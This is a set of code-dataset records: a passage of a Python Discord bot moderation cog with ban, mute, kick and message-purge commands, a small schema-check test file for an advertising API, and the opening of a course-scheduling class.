self.bot.running_removals.add(member.id)\n await self._ban(ctx, member, reason, 1)\n await self._unban(ctx, member, \"Soft Ban\")\n\n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, member, ctx.author, timestamp, \"Soft Ban\", reason))\n\n await ctx.send(Translator.translate(ctx.guild, \"user_softbanned\", _emote=\"YES\", user=member, user_id=member.id, reason=reason, case=case))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_softban\", _emote=\"ALERT\", on_time=on_time, user=member, user_id=member.id, moderator=ctx.author, moderator_id=ctx.author.id, reason=reason, case=case))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"ban_not_allowed\", _emote=\"NO\", user=member.name))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"target_not_on_server\", _emote=\"NO_MOUTH\"))\n\n\n @commands.guild_only()\n @commands.command()\n @commands.has_permissions(ban_members=True)\n async def forceban(self, ctx, user: DiscordUser, *, reason: str = None):\n \"\"\"forceban_help\"\"\"\n if reason is None:\n reason = Translator.translate(ctx.guild, \"no_reason\")\n \n try:\n member = await commands.MemberConverter().convert(ctx, str(user.id))\n except commands.BadArgument:\n try:\n await ctx.guild.fetch_ban(user)\n except discord.NotFound:\n await self._forceban(ctx, user, reason)\n\n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, user, ctx.author, timestamp, \"Force Ban\", reason))\n\n await ctx.send(Translator.translate(ctx.guild, \"user_forcebanned\", _emote=\"YES\", user=user, user_id=user.id, reason=reason, case=case))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_forceban\", _emote=\"ALERT\", on_time=on_time, user=user, user_id=user.id, moderator=ctx.author, moderator_id=ctx.author.id, reason=reason, case=case))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"target_already_banned\", _emote=\"NO_MOUTH\"))\n else:\n await ctx.invoke(self.ban, user=user, reason=reason)\n\n\n\n @commands.guild_only()\n @commands.command()\n @commands.has_permissions(ban_members=True)\n async def unban(self, ctx, user: DiscordUser, *, reason: str = None):\n \"\"\"unban_help\"\"\"\n if reason is None:\n reason = Translator.translate(ctx.guild, \"no_reason\")\n \n try:\n await ctx.guild.fetch_ban(user)\n except discord.NotFound:\n await ctx.send(Translator.translate(ctx.guild, \"not_banned\", _emote=\"NO\", user=user.name))\n else:\n self.bot.running_unbans.add(user.id)\n await self._unban(ctx, user, reason)\n\n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, user, ctx.author, timestamp, \"Unban\", reason))\n\n await ctx.send(Translator.translate(ctx.guild, \"user_unbanned\", _emote=\"YES\", user=user, user_id=user.id, reason=reason, case=case))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_unban\", _emote=\"ANGEL\", on_time=on_time, user=user, user_id=user.id, moderator=ctx.author, moderator_id=ctx.author.id, reason=reason, case=case))\n\n\n\n def is_muted(self, guild, user):\n _ = DBUtils.get(\n db.mutes,\n \"mute_id\",\n f\"{guild.id}-{user.id}\",\n \"ending\"\n )\n if _ is None:\n return False\n else:\n return True\n\n\n @commands.guild_only()\n @commands.command()\n @commands.has_permissions(ban_members=True)\n async def mute(self, ctx, user: discord.Member, length: Duration, *, reason: str = \"\"):\n \"\"\"mute_help\"\"\"\n if length.unit is None:\n parts = reason.split(\" \")\n length.unit = parts[0]\n reason = \" \".join(parts[1:])\n if reason == \"\":\n reason = Translator.translate(ctx.guild, \"no_reason\")\n \n mute_role_id = DBUtils.get(db.configs, \"guildId\", f\"{ctx.guild.id}\", \"muteRole\")\n if str(mute_role_id) == \"\" or mute_role_id == None:\n return await ctx.send(Translator.translate(ctx.guild, \"no_mute_role\", _emote=\"NO\", prefix=ctx.prefix))\n else:\n role = ctx.guild.get_role(int(mute_role_id))\n if role is None:\n return await ctx.send(Translator.translate(ctx.guild, \"no_mute_role\", _emote=\"NO\", prefix=ctx.prefix))\n if self.is_muted(ctx.guild, user):\n # user is already muted, should we extend their mute?\n confirm = await ctx.prompt(f\"{user} is already muted. Do you want to extend their mute?\", timeout=15)\n if not confirm:\n return await ctx.send(Translator.translate(ctx.guild, \"aborting\"))\n\n until = (DBUtils.get(db.mutes, \"mute_id\", f\"{ctx.guild.id}-{user.id}\", \"ending\") + datetime.timedelta(seconds=length.to_seconds(ctx)))\n DBUtils.update(\n db.mutes,\n \"mute_id\",\n f\"{ctx.guild.id}-{user.id}\",\n \"ending\",\n until\n )\n await ctx.send(Translator.translate(ctx.guild, \"mute_extended\", _emote=\"YES\", user=user, user_id=user.id, length=length.length, unit=length.unit, reason=reason))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_mute_extended\", _emote=\"NO_MOUTH\", on_time=on_time, user=user, user_id=user.id, moderator=ctx.author, moderator_id=ctx.author.id, length=length.length, unit=length.unit, reason=reason))\n if not role in user.roles:\n try:\n await user.add_roles(role)\n except Exception:\n return\n return\n else:\n if (ctx.author != user and user != ctx.bot.user and ctx.author.top_role > user.top_role) or ctx.guild.owner == ctx.author:\n if ctx.guild.me.top_role.position > role.position:\n seconds = length.to_seconds(ctx)\n if seconds >= 1:\n await user.add_roles(role)\n until = (datetime.datetime.utcnow() + datetime.timedelta(seconds=seconds))\n DBUtils.insert(db.mutes, mute_schema(ctx.guild.id, user.id, until))\n \n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, user, ctx.author, timestamp, \"Mute\", reason))\n \n await ctx.send(Translator.translate(ctx.guild, \"user_muted\", _emote=\"YES\", user=user, user_id=user.id, length=length.length, unit=length.unit, reason=reason, case=case))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_mute\", _emote=\"NO_MOUTH\", on_time=on_time, user=user, user_id=user.id, moderator=ctx.author, moderator_id=ctx.author.id, length=length.length, unit=length.unit, reason=reason, case=case))\n else:\n raise commands.BadArgument(\"number_too_small\")\n else:\n await ctx.send(Translator.translate(ctx.guild, \"role_too_high\"))\n else:\n await ctx.send(Translator.translate(ctx.guild, \"mute_not_allowed\", _emote=\"NO\", user=user.name))\n \n\n @commands.guild_only()\n @commands.command(aliases=[\"multiban\"], usage=\" [reason]\")\n @commands.has_permissions(ban_members=True)\n async def mban(self, ctx, targets: commands.Greedy[DiscordUser], *, reason: str = None):\n \"\"\"mban_help\"\"\"\n if reason is None:\n reason = Translator.translate(ctx.guild, \"no_reason\")\n\n if len(targets) < 1:\n return await ctx.send(Translator.translate(ctx.guild, \"no_ban_then\", _emote=\"SALUTE\"))\n\n if len(targets) > 15:\n return await ctx.send(Translator.translate(ctx.guild, \"max_ban\"))\n \n targets = list(set(targets))\n failing = 0\n to_ban = []\n for t in targets:\n member = ctx.guild.get_member(t.id)\n automod = ctx.guild.get_member(self.bot.user.id)\n if member is not None:\n if (member.top_role.position >= automod.top_role.position or member.top_role.position >= ctx.author.top_role.position or member.id == ctx.author.id or member.id == ctx.guild.owner.id):\n failing += 1\n else:\n to_ban.append(t)\n else:\n if await self.is_banned(ctx, t) is True:\n failing += 1\n else:\n to_ban.append(t)\n \n if failing >= len(targets):\n return await ctx.send(Translator.translate(ctx.guild, \"cant_ban_anyone\"))\n \n confirm = await ctx.prompt(f'This action will ban {len(to_ban)} member{\"\" if len(to_ban) == 1 else \"s\"}. Are you sure?')\n if not confirm:\n return await ctx.send(Translator.translate(ctx.guild, \"aborting\"))\n\n banned = 0\n for target in to_ban:\n try:\n await self._forceban(ctx, target, reason)\n self.bot.running_removals.add(target.id)\n\n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, target, ctx.author, timestamp, \"Ban\", f\"[Multi Ban] {reason}\"))\n except discord.HTTPException:\n pass\n else:\n banned += 1\n \n await ctx.send(Translator.translate(ctx.guild, \"mban_success\", _emote=\"YES\", users=banned, total=len(to_ban)))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_mass_ban\", _emote=\"ALERT\", on_time=on_time, users=banned, moderator=ctx.author, moderator_id=ctx.author.id, reason=reason))\n\n\n @commands.guild_only()\n @commands.command(aliases=[\"masskick\"], usage=\" [reason]\")\n @commands.has_permissions(kick_members=True)\n async def mkick(self, ctx, targets: commands.Greedy[DiscordUser] , *, reason: str = None):\n \"\"\"mkick_help\"\"\"\n if reason is None:\n reason = Translator.translate(ctx.guild, \"no_reason\")\n\n if len(targets) < 1:\n return await ctx.send(Translator.translate(ctx.guild, \"no_kick_then\", _emote=\"SALUTE\"))\n\n if len(targets) > 15:\n return await ctx.send(Translator.translate(ctx.guild, \"max_kick\"))\n \n targets = list(set(targets))\n failing = 0\n to_kick = []\n for t in targets:\n member = ctx.guild.get_member(t.id)\n automod = ctx.guild.get_member(self.bot.user.id)\n if member is not None:\n if (member.top_role.position >= automod.top_role.position or member.top_role.position >= ctx.author.top_role.position or member.id == ctx.author.id or member.id == ctx.guild.owner.id):\n failing += 1\n else:\n to_kick.append(t)\n else:\n failing += 1\n \n if failing >= len(targets):\n return await ctx.send(Translator.translate(ctx.guild, \"cant_kick_anyone\"))\n \n confirm = await ctx.prompt(f'This action will ban {len(to_kick)} member{\"\" if len(to_kick) == 1 else \"s\"}. Are you sure?')\n if not confirm:\n return await ctx.send(Translator.translate(ctx.guild, \"aborting\"))\n \n kicked = 0\n for target in to_kick:\n try:\n await ctx.guild.kick(target, reason=reason)\n self.bot.running_removals.add(target.id)\n\n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, target, ctx.author, timestamp, \"Kick\", f\"[Multi Kick] {reason}\"))\n except discord.HTTPException:\n pass\n else:\n kicked += 1\n \n await ctx.send(Translator.translate(ctx.guild, \"mkick_success\", _emote=\"YES\", users=kicked, total=len(kicked)))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_mass_kick\", _emote=\"SHOE\", on_time=on_time, users=kicked, moderator=ctx.author, moderator_id=ctx.author.id, reason=reason))\n\n\n\n @commands.guild_only()\n @commands.command()\n @commands.has_permissions(manage_messages=True)\n async def purge(self, ctx, amount: RangedInt(1, 200)):\n \"\"\"purge_help\"\"\"\n await ctx.invoke(self.clean_all, amount)\n\n\n @commands.guild_only()\n @commands.group(aliases=[\"clear\"])\n @commands.has_permissions(manage_messages=True)\n async def clean(self, ctx):\n \"\"\"clean_help\"\"\"\n if ctx.invoked_subcommand == self.clean:\n await ctx.invoke(self.bot.get_command(\"help\"), qeury=\"clean\")\n\n @commands.guild_only()\n @clean.command(\"user\")\n @commands.has_permissions(manage_messages=True)\n async def clean_user(self, ctx, users: commands.Greedy[DiscordUser], amount: RangedInt(1, 500) = 50):\n \"\"\"clean_user_help\"\"\"\n if len(users) == 0:\n return await ctx.send(Translator.translate(ctx.guild, \"no_delete_then\", _emote=\"THINK\"))\n await self.perform_cleaning(ctx, amount, lambda x: any(x.author.id == u.id for u in users))\n \n\n @commands.guild_only()\n @clean.command(\"bots\")\n @commands.has_permissions(manage_messages=True)\n async def clean_bots(self, ctx, amount: RangedInt(1, 200) = 50):\n \"\"\"clean_bots_help\"\"\"\n await self.perform_cleaning(ctx, amount, lambda x: x.author.bot)\n \n\n @commands.guild_only()\n @clean.command(\"all\")\n @commands.has_permissions(manage_messages=True)\n async def clean_all(self, ctx, amount: RangedInt(1, 200)):\n \"\"\"clean_all_help\"\"\"\n await self.perform_cleaning(ctx, amount, lambda x: True)\n\n \n @commands.guild_only()\n @clean.command(name=\"last\", usage=\"\")\n @commands.has_permissions(manage_messages=True)\n async def clean_last(self, ctx: commands.Command, duration: Duration, excess = \"\"):\n \"\"\"clean_last_help\"\"\"\n if duration.unit is None:\n duration.unit = excess\n until = datetime.datetime.utcfromtimestamp(time.time() - duration.to_seconds(ctx))\n await self.perform_cleaning(ctx, 500, lambda x: True, time=until)\n \n\n @commands.guild_only()\n @clean.command(\"until\")\n @commands.has_permissions(manage_messages=True)\n async def clean_until(self, ctx, message: discord.Message):\n \"\"\"clean_until_help\"\"\"\n try:\n await self.perform_cleaning(ctx, 500, lambda x: True, after=message)\n except Exception as ex:\n print(ex)\n\n\n @commands.guild_only()\n @clean.command(\"between\")\n @commands.has_permissions(manage_messages=True)\n async def clean_between(self, ctx, start: discord.Message, end: discord.Message):\n \"\"\"clean_between_help\"\"\"\n await self.perform_cleaning(ctx, 500, lambda x: True, before=end, after=start)\n\n \n \n\n\n\n\n async def _ban(self, ctx, user, reason, days=0):\n try:\n await ctx.guild.ban(user=user, reason=reason, delete_message_days=days)\n except Exception as e:\n return await ctx.send(Translator.translate(ctx.guild, \"ban_failed\", _emote=\"NO\", error=e))\n\n\n\n async def _kick(self, ctx, user, reason):\n try:\n await ctx.guild.kick(user=user, reason=reason)\n except Exception as e:\n return await ctx.send(Translator.translate(ctx.guild, \"kick_failed\", _emote=\"NO\", error=e))\n\n\n\n async def _unban(self, ctx, user, reason):\n try:\n await ctx.guild.unban(user=user, reason=reason)\n except Exception as e:\n return await ctx.send(Translator.translate(ctx.guild, \"unban_failed\", _emote=\"NO\", error=e))\n\n\n\n async def _forceban(self, ctx, user, reason):\n if user.discriminator == \"0000\":\n return await ctx.send(Translator.translate(ctx.guild, \"is_system_user\", _emote=\"NO\"))\n \n try:\n await ctx.guild.ban(user=user, reason=reason)\n except Exception as e:\n return await ctx.send(Translator.translate(ctx.guild, \"ban_failed\", _emote=\"NO\", error=e))\n\n\n\n async def is_banned(self, ctx, user):\n try:\n await ctx.guild.fetch_ban(user)\n return True\n except Exception:\n return False\n\n\n async def perform_cleaning(self, ctx, limit, check, *, before=None, after=None, time=None):\n if ctx.channel.id in self.bot.cleans_running:\n return await ctx.send(Translator.translate(ctx.guild, \"already_cleaning\", _emote=\"NO\"))\n if limit > 500:\n return await ctx.send(Translator.translate(ctx.guild, \"too_many_messages\", _emote=\"NO\", limit=limit))\n \n if before is None:\n before = ctx.message\n else:\n if isinstance(before, discord.Message):\n before = before\n else:\n before = discord.Object(id=before)\n if after is not None:\n if isinstance(after, discord.Message):\n after = after\n else:\n after = discord.Object(id=after)\n \n # after is set to a discord Object (message), which won't work for the clean last command\n # therefore we have to change its type if a time is given\n if time is not None:\n after = time\n \n self.bot.cleans_running[ctx.channel.id] = set()\n try:\n deleted = await ctx.channel.purge(limit=limit, before=before, after=after, check=check)\n await ctx.send(Translator.translate(ctx.guild, \"clean_success\", _emote=\"YES\", deleted=len(deleted), plural=\"\" if len(deleted) == 1 else \"s\"))\n except Exception as ex:\n await ctx.send(Translator.translate(ctx.guild, \"cleaning_error\", _emote=\"NO\", error=ex))\n self.bot.loop.create_task(self.finish_purgings(ctx.channel.id))\n self.bot.loop.create_task(self.finish_purgings(ctx.channel.id))\n\n\n async def finish_purgings(self, channel_id):\n await asyncio.sleep(1) # we don't want to miss any delete events\n del self.bot.cleans_running[channel_id]\n\n\n\n async def can_act(self, ctx, target, moderator):\n automod = ctx.guild.get_member(self.bot.user.id)\n if target.top_role.position >= moderator.top_role.position or target.top_role.position >= automod.top_role.position or ctx.guild.owner.id == target.id or target.id == moderator.id or target.id == automod.id:\n return False\n try:\n await ctx.guild.fetch_ban(target)\n await ctx.send(Translator.translate(ctx.guild, \"target_already_banned\", _emote=\"NO_MOUTH\"))\n return False\n except discord.NotFound:\n return True\n else:\n return True\n\n\n ######## complex moderation commands\n\n @commands.command()\n @commands.guild_only()\n @commands.has_permissions(ban_members=True)\n async def massban(self, ctx, *, args):\n \"\"\"massban_help\"\"\"\n if not isinstance(ctx.author, discord.Member): # sometime discord just thinks the author isn't a guild member, wtf?\n try:\n author = await ctx.guild.fetch_member(ctx.author.id)\n except discord.HTTPException:\n return await ctx.send(Translator.translate(ctx.guild, \"no_member_object\"))\n else:\n author = ctx.author\n \n\n \"\"\"Define arguments\"\"\"\n p = Arguments(add_help=False, allow_abbrev=False)\n p.add_argument(\"--channel\", \"-c\")\n p.add_argument(\"--reason\", \"-r\")\n\n p.add_argument(\"--search\", type=int, default=100)\n p.add_argument(\"--regex\")\n\n p.add_argument(\"--no-avatar\", action=\"store_true\")\n p.add_argument(\"--no-roles\", action=\"store_true\")\n\n p.add_argument(\"--created\", type=int)\n p.add_argument(\"--joined\", type=int)\n p.add_argument(\"--joined-before\", type=str or int)\n p.add_argument(\"--joined-after\", type=str or int)\n\n p.add_argument(\"--contains\")\n p.add_argument(\"--starts\")\n p.add_argument(\"--ends\")\n p.add_argument(\"--match\")\n\n p.add_argument(\"--show\", action=\"store_true\")\n\n p.add_argument(\"--embeds\", action=\"store_const\", const=lambda m: len(m.embeds))\n p.add_argument(\"--files\", action=\"store_const\", const=lambda m: len(m.attachments))\n\n p.add_argument(\"--after\", type=int)\n p.add_argument(\"--before\", type=int)\n\n try:\n args = p.parse_args(shlex.split(args))\n except Exception as ex:\n return await ctx.send(str(ex))\n\n targets = []\n\n if args.channel:\n channel = await commands.TextChannelConverter().convert(ctx, args.channel)\n\n before = args.before and discord.Object(id=args.before)\n after = args.after and discord.Object(id=args.after)\n\n pr = []\n if args.contains:\n pr.append(lambda m: args.contains.lower() in m.content.lower())\n if args.starts:\n pr.append(lambda m: m.content.startswith(args.starts))\n if args.ends:\n pr.append(lambda m: m.content.endswith(args.ends))\n if args.match:\n try:\n _match = re.compile(args.match)\n except re.error as ex:\n return await ctx.send(Translator.translate(ctx.guild, \"invalid_regex\", ex=ex))\n else:\n pr.append(lambda m, x = _match: x.match(m.content))\n if args.embeds:\n pr.append(args.embeds)\n if args.files:\n pr.append(args.files)\n \n async for message in channel.history(limit=min(max(1, args.search), 2000), before=before, after=after):\n if all(_p(message) for _p in pr):\n targets.append(message.author)\n else:\n if ctx.guild.chunked:\n targets = ctx.guild.members\n else:\n async with ctx.typing():\n await ctx.guild.chunk(cache=True)\n targets = ctx.guild.members\n \n pr = [\n lambda m: isinstance(m, discord.Member) and can_execute(ctx, author, m),\n lambda m: not m.bot,\n lambda m: m.discriminator != \"0000\"\n ]\n\n converter = commands.MemberConverter()\n\n if args.regex:\n try:\n _regex = re.compile(args.regex)\n except re.error as ex:\n return await ctx.send(Translator.translate(ctx.guild, \"invalid_regex\", ex=ex))\n else:\n pr.append(lambda m, x = _regex: x.match(m.name))\n \n if args.no_avatar:\n pr.append(lambda m: m.avatar is None)\n if args.no_roles:\n pr.append(lambda m: len(getattr(m, \"roles\", [])) <= 1)\n\n now = datetime.datetime.utcnow()\n if args.created:\n def created(member, *, offset=now - datetime.timedelta(minutes=args.created)):\n return member.created_at > offset\n pr.append(created)\n \n if args.joined:\n def joined(member, *, offset=now - datetime.timedelta(minutes=args.joined)):\n if isinstance(member, discord.User):\n return True # in this case they already left the server\n return member.joined_at > offset\n pr.append(joined)\n \n if args.joined_after:\n _joined_after_member = await converter.convert(ctx, args.joined_after)\n def joined_after(member, *, _other=_joined_after_member):\n return member.joined_at and _other.joined_at and member.joined_at > _other.joined_at\n pr.append(joined_after)\n\n if args.joined_before:\n _joined_before_member = await converter.convert(ctx, args.joined_after)\n def joined_before(member, *, _other=_joined_before_member):\n return member.joined_at and _other.joined_at and member.joined_at < _other.joined_at\n pr.append(joined_before)\n \n targets = {m for m in targets if all(_p(m) for _p in pr)}\n if len(targets) == 0:\n return await ctx.send(Translator.translate(ctx.guild, \"no_targets_found\", _emote=\"NO\"))\n \n if args.show:\n targets = sorted(targets, key=lambda m: m.joined_at or now)\n fmt = \"\\n\".join(f\"{m.id}\\tJoined: {m.joined_at}\\tCreated: {m.created_at}\\n{m}\" for m in targets)\n content = f\"Time right now: {datetime.datetime.utcnow()}\\nTotal targets: {len(targets)}\\n{fmt}\"\n f = discord.File(io.BytesIO(content.encode(\"utf-8\")), filename=\"members.txt\")\n return await ctx.send(file=f)\n\n if args.reason is None:\n return await ctx.send(Translator.translate(ctx.guild, \"missing_reason_flag\"))\n else:\n reason = await Reason().convert(ctx, args.reason)\n\n confirm = await ctx.prompt(f'This action will ban {len(targets)} member{\"\" if len(targets) == 1 else \"s\"}. Are you sure?')\n if not confirm:\n return await ctx.send(Translator.translate(ctx.guild, \"aborting\"))\n \n banned = 0\n for target in targets:\n try:\n await self._forceban(ctx, target, reason)\n self.bot.running_removals.add(target.id)\n\n case = DBUtils.new_case()\n timestamp = datetime.datetime.utcnow().strftime(\"%d/%m/%Y %H:%M\")\n DBUtils.insert(db.inf, new_infraction(case, ctx.guild.id, target, ctx.author, timestamp, \"Ban\", f\"[Custom Ban] {reason}\"))\n except discord.HTTPException:\n pass\n else:\n banned += 1\n \n await ctx.send(Translator.translate(ctx.guild, \"mban_success\", _emote=\"YES\", users=banned, total=len(targets)))\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(ctx.guild.id, \"memberLogChannel\", Translator.translate(ctx.guild, \"log_mass_ban\", _emote=\"ALERT\", on_time=on_time, users=banned, moderator=ctx.author, moderator_id=ctx.author.id, reason=reason))\n\n\n\n @clean.command()\n @commands.guild_only()\n @commands.has_permissions(manage_messages=True)\n async def custom(self, ctx, *, args: str):\n \"\"\"clean_custom_help\"\"\"\n try:\n p = Arguments(add_help=False, allow_abbrev=False)\n p.add_argument(\"--user\", nargs=\"+\")\n\n p.add_argument(\"--contains\", nargs=\"+\")\n p.add_argument(\"--starts\", nargs=\"+\")\n p.add_argument(\"--ends\", nargs=\"+\")\n\n p.add_argument(\"--or\", action=\"store_true\", dest=\"_or\")\n p.add_argument(\"--not\", action=\"store_true\", dest=\"_not\")\n\n p.add_argument(\"--emoji\", action=\"store_true\")\n\n p.add_argument(\"--bot\", action=\"store_const\", const=lambda m: m.author.bot)\n p.add_argument(\"--embeds\", action=\"store_const\", const=lambda m: len(m.embeds))\n p.add_argument(\"--files\", action=\"store_const\", const=lambda m: len(m.attachments))\n p.add_argument(\"--reactions\", action=\"store_const\", const=lambda m: len(m.reactions))\n\n p.add_argument(\"--search\", type=int)\n p.add_argument(\"--after\", type=int)\n p.add_argument(\"--before\", type=int)\n\n try:\n args = p.parse_args(shlex.split(args))\n except Exception as ex:\n return await ctx.send(str(ex))\n \n pr = []\n if args.bot:\n pr.append(args.bot)\n \n if args.embeds:\n pr.append(args.embeds)\n\n if args.files:\n pr.append(args.files)\n\n if args.reactions:\n pr.append(args.reactions)\n\n if args.emoji:\n custom_emote = re.compile(r\"<:(\\w+):(\\d+)>\")\n pr.append(lambda m: custom_emote.search(m.content))\n \n if args.user:\n targets = []\n converter = commands.MemberConverter()\n for t in args.user:\n try:\n target = await converter.convert(ctx, t)\n targets.append(target)\n except Exception as ex:\n return await ctx.send(str(ex))\n \n pr.append(lambda m: m.author in targets)\n \n if args.contains:\n pr.append(lambda m: any(s in m.content for s in args.contains))\n \n if args.starts:\n pr.append(lambda m: any(m.content.startswith(s) for s in args.starts))\n\n if args.ends:\n pr.append(lambda m: any(m.content.endswith(s) for s in args.ends))\n \n o = all if not args._or else any\n def check(m):\n r = o(p(m) for p in pr)\n if args._not:\n return not r\n return r\n \n if args.after:\n if args.search is None:\n args.search = 2000\n \n if args.search is None:\n args.search = 100\n \n args.search = max(0, min(2000, args.search))\n\n def point(ctx, before=None, after=None):\n if before is None:\n before = ctx.message\n else:\n before = discord.Object(id=before)\n if after is not None:\n after = discord.Object(id=after)\n return before, after\n \n before, after = point(ctx, args.before, args.after)\n if ctx.channel.id in self.bot.cleans_running:\n return await ctx.send(Translator.translate(ctx.guild, \"already_cleaning\", _emote=\"NO\"))\n \n self.bot.cleans_running[ctx.channel.id] = set()\n _msg = await ctx.send(Translator.translate(ctx.guild, \"working_on_action\", _emote=\"LOAD\"))\n try:\n deleted = await ctx.channel.purge(limit=args.search, check=check, before=before, after=after)\n del self.bot.cleans_running[ctx.channel.id]\n try:\n await _msg.edit(content=Translator.translate(ctx.guild, \"clean_success\", _emote=\"YES\", deleted=len(deleted), plural=\"\" if len(deleted) == 1 else \"s\"))\n except discord.NotFound:\n pass\n except Exception as e:\n del self.bot.cleans_running[ctx.channel.id]\n log.error(e)\n try:\n await _msg.edit(content=Translator.translate(ctx.guild, \"already_deleted\", _emote=\"NO\"))\n except discord.NotFound:\n pass\n except Exception as _ex:\n log.error(f\"[Commands] {_ex}\")\n\n\n # TODO Add a permaban command (instantly bans a user after getting unbanned)\n # @commands.command()\n # @commands.guild_only()\n # @commands.has_permissions(administrator=True)\n # async def permaban(self, ctx, user: DiscordUser, *, reason = None):\n # pass\n\n\n\n\n @commands.Cog.listener()\n async def on_member_join(self, member):\n try:\n g = member.guild\n if g is None:\n return\n mute = DBUtils.get(db.mutes, \"mute_id\", f\"{g.id}-{member.id}\", \"ending\")\n if not mute:\n return\n else:\n _id = DBUtils.get(db.configs, \"guildId\", f\"{g.id}\", \"muteRole\")\n if _id == \"\" == _id == None or _id == 0:\n return # mute role isn't configured anymore?\n mute_role = discord.utils.get(g.roles, id=int(_id))\n if mute_role is None:\n return # mute role got deleted\n else:\n # trying to escape the mute? not with us!\n try:\n await member.add_roles(mute_role)\n\n on_time = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n await Logging.log_to_guild(g.id, \"memberLogChannel\", Translator.translate(\"log_reapplied_mute\", _emote=\"WARN\", on_time=on_time, user=member, user_id=member.id))\n except Exception:\n return\n except Exception:\n pass\n\n\n\n\ndef setup(bot):\n bot.add_cog(Moderation(bot))","sub_path":"src/Cogs/Moderation.py","file_name":"Moderation.py","file_ext":"py","file_size_in_byte":40298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"330756754","text":"# Copyright (c) 2015 App Annie Inc. All rights reserved.\n\nfrom nose.plugins.attrib import attr\n\nfrom tests.schema_check.constants import constants\nfrom tests.schema_check.apis.apiv12.api_v12_objects import AdvertisingAccountSiteAndCampainListAPI\nfrom tests.schema_check.base import BaseAPITestCase\nfrom tests.schema_check.constants.constants import SCHEMAS\nfrom tests.schema_check.mixins.smoke_user_mixin import SmokeUserMixin\n\n\nclass AdvertisingAccountSiteAndCampainListAPICheck(BaseAPITestCase, SmokeUserMixin):\n account_id = 153838\n\n def setUp(self):\n super(AdvertisingAccountSiteAndCampainListAPICheck, self).setUp()\n self.schema_name = SCHEMAS['advertising_accounts_site_and_campaign_list']\n\n def api_call(self, account, args=None):\n api = AdvertisingAccountSiteAndCampainListAPI(self.username, self.password, account, args)\n return [api.get_return_code(), api.response]\n\n @attr(constants.SMOKE)\n def test_with_no_ad_item_type(self):\n self.check_schema(*self.api_call(self.account_id))\n\n @attr(constants.SMOKE)\n def test_ad_item_type_site(self):\n args = {\n 'ad_item_type': 'site',\n }\n self.check_schema(*self.api_call(self.account_id, args))\n\n @attr(constants.SMOKE)\n def test_ad_item_type_campaign(self):\n args = {\n 'ad_item_type': 'campaign',\n }\n self.check_schema(*self.api_call(self.account_id, args))\n\n def test_with_no_ad_item_type_invalid_account_id(self):\n import sys\n self.check_forbidden(*self.api_call(sys.maxint))\n","sub_path":"tests/schema_check/cases/apiv12/test_advertising_account_site_and_campain_list_api.py","file_name":"test_advertising_account_site_and_campain_list_api.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"226626710","text":"import sys\r\n\r\nimport re\r\n\r\nimport string\r\n\r\nimport random\r\n\r\nimport copy\r\n\r\nclass quarter:\r\n\r\n def __init__(self,my_year,my_term):\r\n\r\n self.year=my_year\r\n\r\n self.term=my_term\r\n\r\n self.num_classes=0\r\n\r\n self.remaining = 0\r\n\r\n self.classes = []\r\n\r\n self.filled = False\r\n \r\n self.id = -1\r\n \r\n \r\n\r\n def set_num_classes(self,my_var):\r\n\r\n self.num_classes = my_var\r\n\r\n self.remaining = my_var\r\n\r\n\r\n\r\n def set_list(self,my_classes):\r\n\r\n self.classes = my_classes\r\n\r\n self.check()\r\n\r\n\r\n\r\n def add(self,new_class):\r\n\r\n self.classes.append(new_class)\r\n\r\n self.check()\r\n\r\n\r\n\r\n def add_list(self,new_class_list):\r\n\r\n self.classes = self.classes + new_class_list\r\n\r\n self.check()\r\n\r\n\r\n\r\n def check(self):\r\n\r\n self.remaining = self.num_classes - len(self.classes)\r\n\r\n if self.remaining==0:\r\n\r\n self.filled = True\r\n\r\n\r\n\r\n def equal(self,other_quarter):\r\n\r\n return self.year==other_quarter.year and self.term==other_quarter.term\r\n \r\n \r\n \r\n\r\n\r\nclass 